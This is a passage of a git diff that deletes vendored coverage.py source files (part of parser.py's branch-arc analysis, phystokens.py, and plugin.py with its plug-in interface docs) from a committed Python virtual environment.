set[ArcStart]]], - getattr(self, f"_handle__{node_name}", None), - ) - if handler is not None: - arc_starts = handler(node) - else: - # No handler: either it's something that's ok to default (a simple - # statement), or it's something we overlooked. - if env.TESTING: - if node_name not in self.OK_TO_DEFAULT: - raise RuntimeError(f"*** Unhandled: {node}") # pragma: only failure - - # Default for simple statements: one exit from this node. - arc_starts = {ArcStart(self.line_for_node(node))} - return arc_starts - - def process_body( - self, - body: Sequence[ast.AST], - from_start: ArcStart | None = None, - prev_starts: set[ArcStart] | None = None, - ) -> set[ArcStart]: - """Process the body of a compound statement. - - `body` is the body node to process. - - `from_start` is a single `ArcStart` that starts an arc into this body. - `prev_starts` is a set of ArcStarts that can all be the start of arcs - into this body. Only one of `from_start` and `prev_starts` should be - given. - - Records arcs within the body by calling `self.add_arc`. - - Returns a set of ArcStarts, the exits from this body. - - """ - if prev_starts is None: - if from_start is None: - prev_starts = set() - else: - prev_starts = {from_start} - else: - assert from_start is None - - # Loop over the nodes in the body, making arcs from each one's exits to - # the next node. - for body_node in body: - lineno = self.line_for_node(body_node) - if lineno not in self.statements: - maybe_body_node = self.find_non_missing_node(body_node) - if maybe_body_node is None: - continue - body_node = maybe_body_node - lineno = self.line_for_node(body_node) - for prev_start in prev_starts: - self.add_arc(prev_start.lineno, lineno, prev_start.cause) - prev_starts = self.node_exits(body_node) - return prev_starts - - def find_non_missing_node(self, node: ast.AST) -> ast.AST | None: - """Search `node` looking for a child that has not been optimized away. - - This might return the node you started with, or it will work recursively - to find a child node in self.statements. - - Returns a node, or None if none of the node remains. - - """ - # This repeats work just done in process_body, but this duplication - # means we can avoid a function call in the 99.9999% case of not - # optimizing away statements. - lineno = self.line_for_node(node) - if lineno in self.statements: - return node - - missing_fn = cast( - Optional[Callable[[ast.AST], Optional[ast.AST]]], - getattr(self, f"_missing__{node.__class__.__name__}", None), - ) - if missing_fn is not None: - ret_node = missing_fn(node) - else: - ret_node = None - return ret_node - - # Missing nodes: _missing__* - # - # Entire statements can be optimized away by Python. They will appear in - # the AST, but not the bytecode. These functions are called (by - # find_non_missing_node) to find a node to use instead of the missing - # node. They can return None if the node should truly be gone. - - def _missing__If(self, node: ast.If) -> ast.AST | None: - # If the if-node is missing, then one of its children might still be - # here, but not both. So return the first of the two that isn't missing. - # Use a NodeList to hold the clauses as a single node. - non_missing = self.find_non_missing_node(NodeList(node.body)) - if non_missing: - return non_missing - if node.orelse: - return self.find_non_missing_node(NodeList(node.orelse)) - return None - - def _missing__NodeList(self, node: NodeList) -> ast.AST | None: - # A NodeList might be a mixture of missing and present nodes. Find the - # ones that are present. - non_missing_children = [] - for child in node.body: - maybe_child = self.find_non_missing_node(child) - if maybe_child is not None: - non_missing_children.append(maybe_child) - - # Return the simplest representation of the present children. - if not non_missing_children: - return None - if len(non_missing_children) == 1: - return non_missing_children[0] - return NodeList(non_missing_children) - - def _missing__While(self, node: ast.While) -> ast.AST | None: - body_nodes = self.find_non_missing_node(NodeList(node.body)) - if not body_nodes: - return None - # Make a synthetic While-true node. - new_while = ast.While() # type: ignore[call-arg] - new_while.lineno = body_nodes.lineno # type: ignore[attr-defined] - new_while.test = ast.Name() # type: ignore[call-arg] - new_while.test.lineno = body_nodes.lineno # type: ignore[attr-defined] - new_while.test.id = "True" - assert hasattr(body_nodes, "body") - new_while.body = body_nodes.body - new_while.orelse = [] - return new_while - - # In the fullness of time, these might be good tests to write: - # while EXPR: - # while False: - # listcomps hidden deep in other expressions - # listcomps hidden in lists: x = [[i for i in range(10)]] - # nested function definitions - - # Exit processing: process_*_exits - # - # These functions process the four kinds of jump exits: break, continue, - # raise, and return. To figure out where an exit goes, we have to look at - # the block stack context. For example, a break will jump to the nearest - # enclosing loop block, or the nearest enclosing finally block, whichever - # is nearer. - - def process_break_exits(self, exits: set[ArcStart]) -> None: - """Add arcs due to jumps from `exits` being breaks.""" - for block in self.nearest_blocks(): # pragma: always breaks - if block.process_break_exits(exits, self.add_arc): - break - - def process_continue_exits(self, exits: set[ArcStart]) -> None: - """Add arcs due to jumps from `exits` being continues.""" - for block in self.nearest_blocks(): # pragma: always breaks - if block.process_continue_exits(exits, self.add_arc): - break - - def process_raise_exits(self, exits: set[ArcStart]) -> None: - """Add arcs due to jumps from `exits` being raises.""" - for block in self.nearest_blocks(): - if block.process_raise_exits(exits, self.add_arc): - break - - def process_return_exits(self, exits: set[ArcStart]) -> None: - """Add arcs due to jumps from `exits` being returns.""" - for block in self.nearest_blocks(): # pragma: always breaks - if block.process_return_exits(exits, self.add_arc): - break - - # Node handlers: _handle__* - # - # Each handler deals with a specific AST node type, dispatched from - # node_exits. Handlers return the set of exits from that node, and can - # also call self.add_arc to record arcs they find. These functions mirror - # the Python semantics of each syntactic construct. See the docstring - # for node_exits to understand the concept of exits from a node. - # - # Every node type that represents a statement should have a handler, or it - # should be listed in OK_TO_DEFAULT. - - def _handle__Break(self, node: ast.Break) -> set[ArcStart]: - here = self.line_for_node(node) - break_start = ArcStart(here, cause="the break on line {lineno} wasn't executed") - self.process_break_exits({break_start}) - return set() - - def _handle_decorated(self, node: ast.FunctionDef) -> set[ArcStart]: - """Add arcs for things that can be decorated (classes and functions).""" - main_line: TLineNo = node.lineno - last: TLineNo | None = node.lineno - decs = node.decorator_list - if decs: - last = None - for dec_node in decs: - dec_start = self.line_for_node(dec_node) - if last is not None and dec_start != last: - self.add_arc(last, dec_start) - last = dec_start - assert last is not None - self.add_arc(last, main_line) - last = main_line - # The definition line may have been missed, but we should have it - # in `self.statements`. For some constructs, `line_for_node` is - # not what we'd think of as the first line in the statement, so map - # it to the first one. - assert node.body, f"Oops: {node.body = } in {self.filename}@{node.lineno}" - # The body is handled in collect_arcs. - assert last is not None - return {ArcStart(last)} - - _handle__ClassDef = _handle_decorated - - def _handle__Continue(self, node: ast.Continue) -> set[ArcStart]: - here = self.line_for_node(node) - continue_start = ArcStart(here, cause="the continue on line {lineno} wasn't executed") - self.process_continue_exits({continue_start}) - return set() - - def _handle__For(self, node: ast.For) -> set[ArcStart]: - start = self.line_for_node(node.iter) - self.block_stack.append(LoopBlock(start=start)) - from_start = ArcStart(start, cause="the loop on line {lineno} never started") - exits = self.process_body(node.body, from_start=from_start) - # Any exit from the body will go back to the top of the loop. - for xit in exits: - self.add_arc(xit.lineno, start, xit.cause) - my_block = self.block_stack.pop() - assert isinstance(my_block, LoopBlock) - exits = my_block.break_exits - from_start = ArcStart(start, cause="the loop on line {lineno} didn't complete") - if node.orelse: - else_exits = self.process_body(node.orelse, from_start=from_start) - exits |= else_exits - else: - # No else clause: exit from the for line. - exits.add(from_start) - return exits - - _handle__AsyncFor = _handle__For - - _handle__FunctionDef = _handle_decorated - _handle__AsyncFunctionDef = _handle_decorated - - def _handle__If(self, node: ast.If) -> set[ArcStart]: - start = self.line_for_node(node.test) - constant_test, val = is_constant_test_expr(node.test) - exits = set() - if not constant_test or val: - from_start = ArcStart(start, cause="the condition on line {lineno} was never true") - exits |= self.process_body(node.body, from_start=from_start) - if not constant_test or not val: - from_start = ArcStart(start, cause="the condition on line {lineno} was always true") - exits |= self.process_body(node.orelse, from_start=from_start) - return exits - - if sys.version_info >= (3, 10): - def _handle__Match(self, node: ast.Match) -> set[ArcStart]: - start = self.line_for_node(node) - last_start = start - exits = set() - for case in node.cases: - case_start = self.line_for_node(case.pattern) - self.add_arc(last_start, case_start, "the pattern on line {lineno} always matched") - from_start = ArcStart( - case_start, - cause="the pattern on line {lineno} never matched", - ) - exits |= self.process_body(case.body, from_start=from_start) - last_start = case_start - - # case is now the last case, check for wildcard match. - pattern = case.pattern # pylint: disable=undefined-loop-variable - while isinstance(pattern, ast.MatchOr): - pattern = pattern.patterns[-1] - while isinstance(pattern, ast.MatchAs) and pattern.pattern is not None: - pattern = pattern.pattern - had_wildcard = ( - isinstance(pattern, ast.MatchAs) - and pattern.pattern is None - and case.guard is None # pylint: disable=undefined-loop-variable - ) - - if not had_wildcard: - exits.add( - ArcStart(case_start, cause="the pattern on line {lineno} always matched"), - ) - return exits - - def _handle__NodeList(self, node: NodeList) -> set[ArcStart]: - start = self.line_for_node(node) - exits = self.process_body(node.body, from_start=ArcStart(start)) - return exits - - def _handle__Raise(self, node: ast.Raise) -> set[ArcStart]: - here = self.line_for_node(node) - raise_start = ArcStart(here, cause="the raise on line {lineno} wasn't executed") - self.process_raise_exits({raise_start}) - # `raise` statement jumps away, no exits from here. - return set() - - def _handle__Return(self, node: ast.Return) -> set[ArcStart]: - here = self.line_for_node(node) - return_start = ArcStart(here, cause="the return on line {lineno} wasn't executed") - self.process_return_exits({return_start}) - # `return` statement jumps away, no exits from here. - return set() - - def _handle__Try(self, node: ast.Try) -> set[ArcStart]: - if node.handlers: - handler_start = self.line_for_node(node.handlers[0]) - else: - handler_start = None - - if node.finalbody: - final_start = self.line_for_node(node.finalbody[0]) - else: - final_start = None - - # This is true by virtue of Python syntax: have to have either except - # or finally, or both. - assert handler_start is not None or final_start is not None - try_block = TryBlock(handler_start, final_start) - self.block_stack.append(try_block) - - start = self.line_for_node(node) - exits = self.process_body(node.body, from_start=ArcStart(start)) - - # We're done with the `try` body, so this block no longer handles - # exceptions. We keep the block so the `finally` clause can pick up - # flows from the handlers and `else` clause. - if node.finalbody: - try_block.handler_start = None - else: - self.block_stack.pop() - - handler_exits: set[ArcStart] = set() - - if node.handlers: - for handler_node in node.handlers: - handler_start = self.line_for_node(handler_node) - from_cause = "the exception caught by line {lineno} didn't happen" - from_start = ArcStart(handler_start, cause=from_cause) - handler_exits |= self.process_body(handler_node.body, from_start=from_start) - - if node.orelse: - exits = self.process_body(node.orelse, prev_starts=exits) - - exits |= handler_exits - - if node.finalbody: - self.block_stack.pop() - final_from = exits - - final_exits = self.process_body(node.finalbody, prev_starts=final_from) - - if exits: - # The finally clause's exits are only exits for the try block - # as a whole if the try block had some exits to begin with. - exits = final_exits - - return exits - - def _handle__While(self, node: ast.While) -> set[ArcStart]: - start = to_top = self.line_for_node(node.test) - constant_test, _ = is_constant_test_expr(node.test) - top_is_body0 = False - if constant_test: - top_is_body0 = True - if env.PYBEHAVIOR.keep_constant_test: - top_is_body0 = False - if top_is_body0: - to_top = self.line_for_node(node.body[0]) - self.block_stack.append(LoopBlock(start=to_top)) - from_start = ArcStart(start, cause="the condition on line {lineno} was never true") - exits = self.process_body(node.body, from_start=from_start) - for xit in exits: - self.add_arc(xit.lineno, to_top, xit.cause) - exits = set() - my_block = self.block_stack.pop() - assert isinstance(my_block, LoopBlock) - exits.update(my_block.break_exits) - from_start = ArcStart(start, cause="the condition on line {lineno} was always true") - if node.orelse: - else_exits = self.process_body(node.orelse, from_start=from_start) - exits |= else_exits - else: - # No `else` clause: you can exit from the start. - if not constant_test: - exits.add(from_start) - return exits - - def _handle__With(self, node: ast.With) -> set[ArcStart]: - if env.PYBEHAVIOR.exit_with_through_ctxmgr: - starts = [self.line_for_node(item.context_expr) for item in node.items] - else: - starts = [self.line_for_node(node)] - if env.PYBEHAVIOR.exit_through_with: - for start in starts: - self.current_with_starts.add(start) - self.all_with_starts.add(start) - - exits = self.process_body(node.body, from_start=ArcStart(starts[-1])) - - if env.PYBEHAVIOR.exit_through_with: - start = starts[-1] - self.current_with_starts.remove(start) - with_exit = {ArcStart(start)} - if exits: - for xit in exits: - self.add_arc(xit.lineno, start) - self.with_exits.add((xit.lineno, start)) - exits = with_exit - - return exits - - _handle__AsyncWith = _handle__With diff --git a/backend/venv/Lib/site-packages/coverage/phystokens.py b/backend/venv/Lib/site-packages/coverage/phystokens.py deleted file mode 100644 index 57e9a541..00000000 --- a/backend/venv/Lib/site-packages/coverage/phystokens.py +++ /dev/null @@ -1,198 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Better tokenizing for coverage.py.""" - -from __future__ import annotations - -import ast -import io -import keyword -import re -import sys -import token -import tokenize - -from collections.abc import Iterable - -from coverage import env -from coverage.types import TLineNo, TSourceTokenLines - - -TokenInfos = Iterable[tokenize.TokenInfo] - - -def _phys_tokens(toks: TokenInfos) -> TokenInfos: - """Return all physical tokens, even line continuations. - - tokenize.generate_tokens() doesn't return a token for the backslash that - continues lines. This wrapper provides those tokens so that we can - re-create a faithful representation of the original source. - - Returns the same values as generate_tokens() - - """ - last_line: str | None = None - last_lineno = -1 - last_ttext: str = "" - for ttype, ttext, (slineno, scol), (elineno, ecol), ltext in toks: - if last_lineno != elineno: - if last_line and last_line.endswith("\\\n"): - # We are at the beginning of a new line, and the last line - # ended with a backslash. We probably have to inject a - # backslash token into the stream. Unfortunately, there's more - # to figure out. This code:: - # - # usage = """\ - # HEY THERE - # """ - # - # triggers this condition, but the token text is:: - # - # '"""\\\nHEY THERE\n"""' - # - # so we need to figure out if the backslash is already in the - # string token or not. - inject_backslash = True - if last_ttext.endswith("\\"): - inject_backslash = False - elif ttype == token.STRING: - if (last_line.endswith("\\\n") and # pylint: disable=simplifiable-if-statement - last_line.rstrip(" \\\n").endswith(last_ttext)): - # Deal with special cases like such code:: - # - # a = ["aaa",\ # there may be zero or more blanks between "," and "\". - # "bbb \ - # ccc"] - # - inject_backslash = True - else: - # It's a multi-line string and the first line ends with - # a backslash, so we don't need to inject another. - inject_backslash = False - elif env.PYBEHAVIOR.fstring_syntax and ttype == token.FSTRING_MIDDLE: - inject_backslash = False - if inject_backslash: - # Figure out what column the backslash is in. - ccol = len(last_line.split("\n")[-2]) - 1 - # Yield the token, with a fake token type. - yield tokenize.TokenInfo( - 99999, "\\\n", - (slineno, ccol), (slineno, ccol+2), - last_line, - ) - last_line = ltext - if ttype not in (tokenize.NEWLINE, tokenize.NL): - last_ttext = ttext - yield tokenize.TokenInfo(ttype, ttext, (slineno, scol), (elineno, ecol), ltext) - last_lineno = elineno - - -def find_soft_key_lines(source: str) -> set[TLineNo]: - """Helper for finding lines with soft keywords, like match/case lines.""" - soft_key_lines: set[TLineNo] = set() - - for node in ast.walk(ast.parse(source)): - if sys.version_info >= (3, 10) and isinstance(node, ast.Match): - soft_key_lines.add(node.lineno) - for case in node.cases: - soft_key_lines.add(case.pattern.lineno) - elif sys.version_info >= (3, 12) and isinstance(node, ast.TypeAlias): - soft_key_lines.add(node.lineno) - - return soft_key_lines - - -def source_token_lines(source: str) -> TSourceTokenLines: - """Generate a series of lines, one for each line in `source`. - - Each line is a list of pairs, each pair is a token:: - - [('key', 'def'), ('ws', ' '), ('nam', 'hello'), ('op', '('), ... ] - - Each pair has a token class, and the token text. - - If you concatenate all the token texts, and then join them with newlines, - you should have your original `source` back, with two differences: - trailing white space is not preserved, and a final line with no newline - is indistinguishable from a final line with a newline. - - """ - - ws_tokens = {token.INDENT, token.DEDENT, token.NEWLINE, tokenize.NL} - line: list[tuple[str, str]] = [] - col = 0 - - source = source.expandtabs(8).replace("\r\n", "\n") - tokgen = generate_tokens(source) - - if env.PYBEHAVIOR.soft_keywords: - soft_key_lines = find_soft_key_lines(source) - else: - soft_key_lines = set() - - for ttype, ttext, (sline, scol), (_, ecol), _ in _phys_tokens(tokgen): - mark_start = True - for part in re.split("(\n)", ttext): - if part == "\n": - yield line - line = [] - col = 0 - mark_end = False - elif part == "": - mark_end = False - elif ttype in ws_tokens: - mark_end = False - else: - if env.PYBEHAVIOR.fstring_syntax and ttype == token.FSTRING_MIDDLE: - part = part.replace("{", "{{").replace("}", "}}") - ecol = scol + len(part) - if mark_start and scol > col: - line.append(("ws", " " * (scol - col))) - mark_start = False - tok_class = tokenize.tok_name.get(ttype, "xx").lower()[:3] - if ttype == token.NAME: - if keyword.iskeyword(ttext): - # Hard keywords are always keywords. - tok_class = "key" - elif env.PYBEHAVIOR.soft_keywords and keyword.issoftkeyword(ttext): - # Soft keywords appear at the start of their line. - if len(line) == 0: - is_start_of_line = True - elif (len(line) == 1) and line[0][0] == "ws": - is_start_of_line = True - else: - is_start_of_line = False - if is_start_of_line and sline in soft_key_lines: - tok_class = "key" - line.append((tok_class, part)) - mark_end = True - scol = 0 - if mark_end: - col = ecol - - if line: - yield line - - -def generate_tokens(text: str) -> TokenInfos: - """A helper around `tokenize.generate_tokens`. - - Originally this was used to cache the results, but it didn't seem to make - reporting go faster, and caused issues with using too much memory. - - """ - readline = io.StringIO(text).readline - return tokenize.generate_tokens(readline) - - -def source_encoding(source: bytes) -> str: - """Determine the encoding for `source`, according to PEP 263. - - `source` is a byte string: the text of the program. - - Returns a string, the name of the encoding. - - """ - readline = iter(source.splitlines(True)).__next__ - return tokenize.detect_encoding(readline)[0] diff --git a/backend/venv/Lib/site-packages/coverage/plugin.py b/backend/venv/Lib/site-packages/coverage/plugin.py deleted file mode 100644 index 11c0679f..00000000 --- a/backend/venv/Lib/site-packages/coverage/plugin.py +++ /dev/null @@ -1,617 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -""" -.. versionadded:: 4.0 - -Plug-in interfaces for coverage.py. - -Coverage.py supports a few different kinds of plug-ins that change its -behavior: - -* File tracers implement tracing of non-Python file types. - -* Configurers add custom configuration, using Python code to change the - configuration. - -* Dynamic context switchers decide when the dynamic context has changed, for - example, to record what test function produced the coverage. - -To write a coverage.py plug-in, create a module with a subclass of -:class:`~coverage.CoveragePlugin`. You will override methods in your class to -participate in various aspects of coverage.py's processing. -Different types of plug-ins have to override different methods. - -Any plug-in can optionally implement :meth:`~coverage.CoveragePlugin.sys_info` -to provide debugging information about their operation. - -Your module must also contain a ``coverage_init`` function that registers an -instance of your plug-in class:: - - import coverage - - class MyPlugin(coverage.CoveragePlugin): - ... - - def coverage_init(reg, options): - reg.add_file_tracer(MyPlugin()) - -You use the `reg` parameter passed to your ``coverage_init`` function to -register your plug-in object. The registration method you call depends on -what kind of plug-in it is. - -If your plug-in takes options, the `options` parameter is a dictionary of your -plug-in's options from the coverage.py configuration file. Use them however -you want to configure your object before registering it. - -Coverage.py will store its own information on your plug-in object, using -attributes whose names start with ``_coverage_``. Don't be startled. - -.. warning:: - Plug-ins are imported by coverage.py before it begins measuring code. - If you write a plugin in your own project, it might import your product - code before coverage.py can start measuring. This can result in your - own code being reported as missing. - - One solution is to put your plugins in your project tree, but not in - your importable Python package. - - -.. _file_tracer_plugins: - -File Tracers -============ - -File tracers implement measurement support for non-Python files. File tracers -implement the :meth:`~coverage.CoveragePlugin.file_tracer` method to claim -files and the :meth:`~coverage.CoveragePlugin.file_reporter` method to report -on those files. - -In your ``coverage_init`` function, use the ``add_file_tracer`` method to -register your file tracer. - - -.. _configurer_plugins: - -Configurers -=========== - -.. versionadded:: 4.5 - -Configurers modify the configuration of coverage.py during start-up. -Configurers implement the :meth:`~coverage.CoveragePlugin.configure` method to -change the configuration. - -In your ``coverage_init`` function, use the ``add_configurer`` method to -register your configurer. - - -.. _dynamic_context_plugins: - -Dynamic Context Switchers -========================= - -.. versionadded:: 5.0 - -Dynamic context switcher plugins implement the -:meth:`~coverage.CoveragePlugin.dynamic_context` method to dynamically compute -the context label for each measured frame. - -Computed context labels are useful when you want to group measured data without -modifying the source code. - -For example, you could write a plugin that checks `frame.f_code` to inspect -the currently executed method, and set the context label to a fully qualified -method name if it's an instance method of `unittest.TestCase` and the method -name starts with 'test'. Such a plugin would provide basic coverage grouping -by test and could be used with test runners that have no built-in coveragepy -support. - -In your ``coverage_init`` function, use the ``add_dynamic_context`` method to -register your dynamic context switcher. - -""" - -from __future__ import annotations - -import dataclasses -import functools - -from types import FrameType -from typing import Any -from collections.abc import Iterable - -from coverage import files -from coverage.misc import _needs_to_implement -from coverage.types import TArc, TConfigurable, TLineNo, TSourceTokenLines - - -class CoveragePlugin: - """Base class for coverage.py plug-ins.""" - - _coverage_plugin_name: str - _coverage_enabled: bool - - def file_tracer(self, filename: str) -> FileTracer | None: # pylint: disable=unused-argument - """Get a :class:`FileTracer` object for a file. - - Plug-in type: file tracer. - - Every Python source file is offered to your plug-in to give it a chance - to take responsibility for tracing the file. If your plug-in can - handle the file, it should return a :class:`FileTracer` object. - Otherwise return None. - - There is no way to register your plug-in for particular files. - Instead, this method is invoked for all files as they are executed, - and the plug-in decides whether it can trace the file or not. - Be prepared for `filename` to refer to all kinds of files that have - nothing to do with your plug-in. - - The file name will be a Python file being executed. There are two - broad categories of behavior for a plug-in, depending on the kind of - files your plug-in supports: - - * Static file names: each of your original source files has been - converted into a distinct Python file. Your plug-in is invoked with - the Python file name, and it maps it back to its original source - file. - - * Dynamic file names: all of your source files are executed by the same - Python file. In this case, your plug-in implements - :meth:`FileTracer.dynamic_source_filename` to provide the actual - source file for each execution frame. - - `filename` is a string, the path to the file being considered. This is - the absolute real path to the file. If you are comparing to other - paths, be sure to take this into account. - - Returns a :class:`FileTracer` object to use to trace `filename`, or - None if this plug-in cannot trace this file. - - """ - return None - - def file_reporter( - self, - filename: str, # pylint: disable=unused-argument - ) -> FileReporter | str: # str should be Literal["python"] - """Get the :class:`FileReporter` class to use for a file. - - Plug-in type: file tracer. - - This will only be invoked if `filename` returns non-None from - :meth:`file_tracer`. It's an error to return None from this method. - - Returns a :class:`FileReporter` object to use to report on `filename`, - or the string `"python"` to have coverage.py treat the file as Python. - - """ - _needs_to_implement(self, "file_reporter") - - def dynamic_context( - self, - frame: FrameType, # pylint: disable=unused-argument - ) -> str | None: - """Get the dynamically computed context label for `frame`. - - Plug-in type: dynamic context. - - This method is invoked for each frame when outside of a dynamic - context, to see if a new dynamic context should be started. If it - returns a string, a new context label is set for this and deeper - frames. The dynamic context ends when this frame returns. - - Returns a string to start a new dynamic context, or None if no new - context should be started. - - """ - return None - - def find_executable_files( - self, - src_dir: str, # pylint: disable=unused-argument - ) -> Iterable[str]: - """Yield all of the executable files in `src_dir`, recursively. - - Plug-in type: file tracer. - - Executability is a plug-in-specific property, but generally means files - which would have been considered for coverage analysis, had they been - included automatically. - - Returns or yields a sequence of strings, the paths to files that could - have been executed, including files that had been executed. - - """ - return [] - - def configure(self, config: TConfigurable) -> None: - """Modify the configuration of coverage.py. - - Plug-in type: configurer. - - This method is called during coverage.py start-up, to give your plug-in - a chance to change the configuration. The `config` parameter is an - object with :meth:`~coverage.Coverage.get_option` and - :meth:`~coverage.Coverage.set_option` methods. Do not call any other - methods on the `config` object. - - """ - pass - - def sys_info(self) -> Iterable[tuple[str, Any]]: - """Get a list of information useful for debugging. - - Plug-in type: any. - - This method will be invoked for ``--debug=sys``. Your - plug-in can return any information it wants to be displayed. - - Returns a list of pairs: `[(name, value), ...]`. - - """ - return [] - - -class CoveragePluginBase: - """Plugins produce specialized objects, which point back to the original plugin.""" - _coverage_plugin: CoveragePlugin - - -class FileTracer(CoveragePluginBase): - """Support needed for files during the execution phase. - - File tracer plug-ins implement subclasses of FileTracer to return from - their :meth:`~CoveragePlugin.file_tracer` method. - - You may construct this object from :meth:`CoveragePlugin.file_tracer` any - way you like. A natural choice would be to pass the file name given to - `file_tracer`. - - `FileTracer` objects should only be created in the - :meth:`CoveragePlugin.file_tracer` method. - - See :ref:`howitworks` for details of the different coverage.py phases. - - """ - - def source_filename(self) -> str: - """The source file name for this file. - - This may be any file name you like. A key responsibility of a plug-in - is to own the mapping from Python execution back to whatever source - file name was originally the source of the code. - - See :meth:`CoveragePlugin.file_tracer` for details about static and - dynamic file names. - - Returns the file name to credit with this execution. - - """ - _needs_to_implement(self, "source_filename") - - def has_dynamic_source_filename(self) -> bool: - """Does this FileTracer have dynamic source file names? - - FileTracers can provide dynamically determined file names by - implementing :meth:`dynamic_source_filename`. Invoking that function - is expensive. To determine whether to invoke it, coverage.py uses the - result of this function to know if it needs to bother invoking - :meth:`dynamic_source_filename`. - - See :meth:`CoveragePlugin.file_tracer` for details about static and - dynamic file names. - - Returns True if :meth:`dynamic_source_filename` should be called to get - dynamic source file names. - - """ - return False - - def dynamic_source_filename( - self, - filename: str, # pylint: disable=unused-argument - frame: FrameType, # pylint: disable=unused-argument - ) -> str | None: - """Get a dynamically computed source file name. - - Some plug-ins need to compute the source file name dynamically for each - frame. - - This function will not be invoked if - :meth:`has_dynamic_source_filename` returns False. - - Returns the source file name for this frame, or None if this frame - shouldn't be measured. - - """ - return None - - def line_number_range(self, frame: FrameType) -> tuple[TLineNo, TLineNo]: - """Get the range of source line numbers for a given a call frame. - - The call frame is examined, and the source line number in the original - file is returned. The return value is a pair of numbers, the starting - line number and the ending line number, both inclusive. For example, - returning (5, 7) means that lines 5, 6, and 7 should be considered - executed. - - This function might decide that the frame doesn't indicate any lines - from the source file were executed. Return (-1, -1) in this case to - tell coverage.py that no lines should be recorded for this frame. - - """ - lineno = frame.f_lineno - return lineno, lineno - - -@dataclasses.dataclass -class CodeRegion: - """Data for a region of code found by :meth:`FileReporter.code_regions`.""" - - #: The kind of region, like `"function"` or `"class"`. Must be one of the - #: singular values returned by :meth:`FileReporter.code_region_kinds`. - kind: str - - #: The name of the region. For example, a function or class name. - name: str - - #: The line in the source file to link to when navigating to the region. - #: Can be a line not mentioned in `lines`. - start: int - - #: The lines in the region. Should be lines that could be executed in the - #: region. For example, a class region includes all of the lines in the - #: methods of the class, but not the lines defining class attributes, since - #: they are executed on import, not as part of exercising the class. The - #: set can include non-executable lines like blanks and comments. - lines: set[int] - - def __lt__(self, other: CodeRegion) -> bool: - """To support sorting to make test-writing easier.""" - if self.name == other.name: - return min(self.lines) < min(other.lines) - return self.name < other.name - - -@functools.total_ordering -class FileReporter(CoveragePluginBase): - """Support needed for files during the analysis and reporting phases. - - File tracer plug-ins implement a subclass of `FileReporter`, and return - instances from their :meth:`CoveragePlugin.file_reporter` method. - - There are many methods here, but only :meth:`lines` is required, to provide - the set of executable lines in the file. - - See :ref:`howitworks` for details of the different coverage.py phases. - - """ - - def __init__(self, filename: str) -> None: - """Simple initialization of a `FileReporter`. - - The `filename` argument is the path to the file being reported. This - will be available as the `.filename` attribute on the object. Other - method implementations on this base class rely on this attribute. - - """ - self.filename = filename - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} filename={self.filename!r}>" - - def relative_filename(self) -> str: - """Get the relative file name for this file. - - This file path will be displayed in reports. The default - implementation will supply the actual project-relative file path. You - only need to supply this method if you have an unusual syntax for file - paths. - - """ - return files.relative_filename(self.filename) - - def source(self) -> str: - """Get the source for the file. - - Returns a Unicode string. - - The base implementation simply reads the `self.filename` file and - decodes it as UTF-8. Override this method if your file isn't readable - as a text file, or if you need other encoding support. - - """ - with open(self.filename, encoding="utf-8") as f: - return f.read() - - def lines(self) -> set[TLineNo]: - """Get the executable lines in this file. - - Your plug-in must determine which lines in the file were possibly - executable. This method returns a set of those line numbers. - - Returns a set of line numbers. - - """ - _needs_to_implement(self, "lines") - - def excluded_lines(self) -> set[TLineNo]: - """Get the excluded executable lines in this file. - - Your plug-in can use any method it likes to allow the user to exclude - executable lines from consideration. - - Returns a set of line numbers. - - The base implementation returns the empty set. - - """ - return set() - - def translate_lines(self, lines: Iterable[TLineNo]) -> set[TLineNo]: - """Translate recorded lines into reported lines. - - Some file formats will want to report lines slightly differently than - they are recorded. For example, Python records the last line of a - multi-line statement, but reports are nicer if they mention the first - line. - - Your plug-in can optionally define this method to perform these kinds - of adjustment. - - `lines` is a sequence of integers, the recorded line numbers. - - Returns a set of integers, the adjusted line numbers. - - The base implementation returns the numbers unchanged. - - """ - return set(lines) - - def arcs(self) -> set[TArc]: - """Get the executable arcs in this file. - - To support branch coverage, your plug-in needs to be able to indicate - possible execution paths, as a set of line number pairs. Each pair is - a `(prev, next)` pair indicating that execution can transition from the - `prev` line number to the `next` line number. - - Returns a set of pairs of line numbers. The default implementation - returns an empty set. - - """ - return set() - - def no_branch_lines(self) -> set[TLineNo]: - """Get the lines excused from branch coverage in this file. - - Your plug-in can use any method it likes to allow the user to exclude - lines from consideration of branch coverage. - - Returns a set of line numbers. - - The base implementation returns the empty set. - - """ - return set() - - def translate_arcs(self, arcs: Iterable[TArc]) -> set[TArc]: - """Translate recorded arcs into reported arcs. - - Similar to :meth:`translate_lines`, but for arcs. `arcs` is a set of - line number pairs. - - Returns a set of line number pairs. - - The default implementation returns `arcs` unchanged. - - """ - return set(arcs) - - def exit_counts(self) -> dict[TLineNo, int]: - """Get a count of exits from that each line. - - To determine which lines are branches, coverage.py looks for lines that - have more than one exit. This function creates a dict mapping each - executable line number to a count of how many exits it has. - - To be honest, this feels wrong, and should be refactored. Let me know - if you attempt to implement this method in your plug-in... - - """ - return {} - - def missing_arc_description( - self, - start: TLineNo, - end: TLineNo, - executed_arcs: Iterable[TArc] | None = None, # pylint: disable=unused-argument - ) -> str: - """Provide an English sentence describing a missing arc. - - The `start` and `end` arguments are the line numbers of the missing - arc. Negative numbers indicate entering or exiting code objects. - - The `executed_arcs` argument is a set of line number pairs, the arcs - that were executed in this file. - - By default, this simply returns the string "Line {start} didn't jump - to {end}". - - """ - return f"Line {start} didn't jump to line {end}" - - def arc_description( - self, - start: TLineNo, # pylint: disable=unused-argument - end: TLineNo - ) -> str: - """Provide an English description of an arc's effect.""" - return f"jump to line {end}" - - def source_token_lines(self) -> TSourceTokenLines: - """Generate a series of tokenized lines, one for each line in `source`. - - These tokens are used for syntax-colored reports. - - Each line is a list of pairs, each pair is a token:: - - [("key", "def"), ("ws", " "), ("nam", "hello"), ("op", "("), ... ] - - Each pair has a token class, and the token text. The token classes - are: - - * ``"com"``: a comment - * ``"key"``: a keyword - * ``"nam"``: a name, or identifier - * ``"num"``: a number - * ``"op"``: an operator - * ``"str"``: a string literal - * ``"ws"``: some white space - * ``"txt"``: some other kind of text - - If you concatenate all the token texts, and then join them with - newlines, you should have your original source back. - - The default implementation simply returns each line tagged as - ``"txt"``. - - """ - for 